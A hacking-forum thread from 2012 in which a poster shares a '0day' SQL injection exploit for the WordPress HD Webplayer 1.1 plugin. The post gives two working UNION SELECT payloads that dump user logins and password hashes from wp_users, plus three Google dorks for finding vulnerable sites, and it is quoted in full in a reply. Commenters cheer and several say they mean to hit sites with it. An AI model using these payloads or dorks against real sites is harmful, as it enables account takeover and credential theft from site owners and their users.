

Forum:[Hack Forums](#)

Thread: [Wordpress HD Webplayer 1.1 SQL Injection Vulnerability \[0day\]](#)

JoinSeventh - August 29, 2012, 4:18 am

PHP Code

<?php

```

_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
| | _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
| | / _ V _ ' _ ' _ ' _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
| | _ _ / ( | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | \ _ _ \ _ _ , _ _ | | | | | | | | | | | | | | | | | | | | | | |
- JoinSe7en

```

$+-+$

Wordpress HD Webplayer 1.1 SQL Injection
Author: JoinSe7en [Team INTRA]

$$+-+$$

```
# Exploit Title: Wordpress HD Webplayer 1.1 SQL Injection
# Date: 28/08/2012
# Exploit Author: JoinSe7en
# Vendor Homepage: http://www.hdwebplayer.com/
# Software Link: http://hdwebplayer.com/downloads/hdwebplayer_wordpress_1.1.zip
# Category: Web Application 0-Day
# Version: version 1.1
# Tested on: Windows 7, Backtrack 5 r3
```

 $+-+$

| Vulnerability 1 - config.php |

$$+-+$$

Location:

http://site.com/wp-content/plugins/hd-webplayer/config.php?id= [INJECT HERE]

Exploit Code:

```
config.php?id=1+/*!UNION*/+/*!SELECT*/+1,2,3,group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),5,6,7+from+wp_users//Number of columns may be different
```

+-+

| Vulnerability 2 - playlist.php |

$$+--+$$

Location:

http://site.com/wp-content/plugins/hd-webplayer/playlist.php?videoid= [INJECT HERE]

Exploit Code:

```
playlist.php?videoid=1+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7+from+wp_users //Number of columns may be different
```

```
+--+
|  Google Dork  |
+--+
```

There are 3 different usefull dorks to use:

```
# Dork 1 (config.php)
inurl:"wp-content/plugins/hd-webplayer/config.php?id="
```

```
# Dork 2 (playlist.php)
inurl:"wp-content/plugins/hd-webplayer/playlist.php?videoid="
```

```
# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"
```

 $+-+$

Greetz to all members of Team INTRA <3

SecurityFocus: <http://www.securityfocus.com/bid/55259/info>
Exploit-db: <http://www.exploit-db.com/exploits/20918/>
1337day: <http://1337day.com/exploits/19279>

Post or PM me for a live demo site.

thethatguy - August 29, 2012, 4:21 am

(Aug 29, 2012 04:18 AM)JoinSeventh Wrote: [\[CITE\]](#) PHP Code
<?php

```

_ _ _ _ _ \ | _ _ \ ^
|| _ _ _ _ || | | | | ) | / \
|/_V_`'_\_| | | . `| | | _ / /\ \
|| _ / ( | | | | | | | | \ \ / _ _ \
|_\_|_\_|_|_|_|_|_|_|_|_|_|_|_|_|_|_\V_/ \ \
- JoinSe7en
```

```
+---+
| Wordpress HD Webplayer 1.1 SQL Injection |
| Author: JoinSe7en [Team INTRA] |
+---+
```

```
# Exploit Title: Wordpress HD Webplayer 1.1 SQL Injection
# Date: 28/08/2012
# Exploit Author: JoinSe7en
# Vendor Homepage: http://www.hdwebplayer.com/
# Software Link: http://hdwebplayer.com/downloads/hdwebplayer_wordpress_1.1.zip
# Category: Web Application 0-Day
# Version: version 1.1
```

Tested on: Windows 7, Backtrack 5 r3

+--+

| Vulnerability 1 - config.php |

+--+

Location:

http://site.com/wp-content/plugins/hd-webplayer/config.php?id= [INJECT HERE]

Exploit Code:

config.php?id=1+/*!UNION*/+/*!SELECT*/+1,2,3,group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),5,6,7+from+wp_users //Number of columns may be different

+--+

| Vulnerability 2 - playlist.php |

+--+

Location:

http://site.com/wp-content/plugins/hd-webplayer/playlist.php?videoid= [INJECT HERE]

Exploit Code:

playlist.php?videoid=1+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7+from+wp_users //Number of columns may be different

+--+

| Google Dork |

+--+

There are 3 different usefull dorks to use:

Dork 1 (config.php)

inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

Dork 2 (playlist.php)

inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

Dork 3 (General):

inurl:"/wp-content/plugins/hd-webplayer/"

+--+

Greetz to all members of Team INTRA <3

Exploit-db: <http://www.exploit-db.com/exploits/20918/>

Post or PM me for a live demo site.

Nice job brother !

[img]http://static.fjcdn.com/pictures/PARTY%20BHAND_2146ed_3103955.jpg[/img]

xx 0x0 xx - August 29, 2012, 4:32 am

very nice work dude i like it and i fund some infected website's :)

thx for share

Best Teemo NA - August 29, 2012, 9:47 am

Nice find man, Coders these days just get lazy and let the tools do their work or C&P which leads to so many holes in products.

TheNeutron - August 29, 2012, 10:49 am

Nice and fresh, Thanks for sharing man! :)

JoinSeventh - August 30, 2012, 6:44 am

Glad you all like it.

(Aug 29, 2012 04:21 AM)thethatguy Wrote: [\[CITE\]](#) Nice job brother !

[img]http://static.fjcdn.com/pictures/PARTY%20B%20HARD_2146ed_3103955.jpg[/img]

Thanks brother!

Crysan - August 30, 2012, 6:54 am

Nice share <3, also I really like your signature btw. xD

JoinSeventh - September 3, 2012, 8:46 am

(Aug 30, 2012 06:54 AM)Crysan Wrote: [\[CITE\]](#) Nice share <3, also I really like your signature btw. xD

Thanks mate :) Yeah some people actually get really provoked by it xD

literalraise - September 3, 2012, 10:43 am

thanks really nice new fresh xploit hope they will left some site for me :P

razem - September 4, 2012, 12:23 am

Nice find/exploit, I will defiantly take a look into this. Thanks.

alexa20 - September 5, 2012, 11:10 am

i will check that bro, great work for you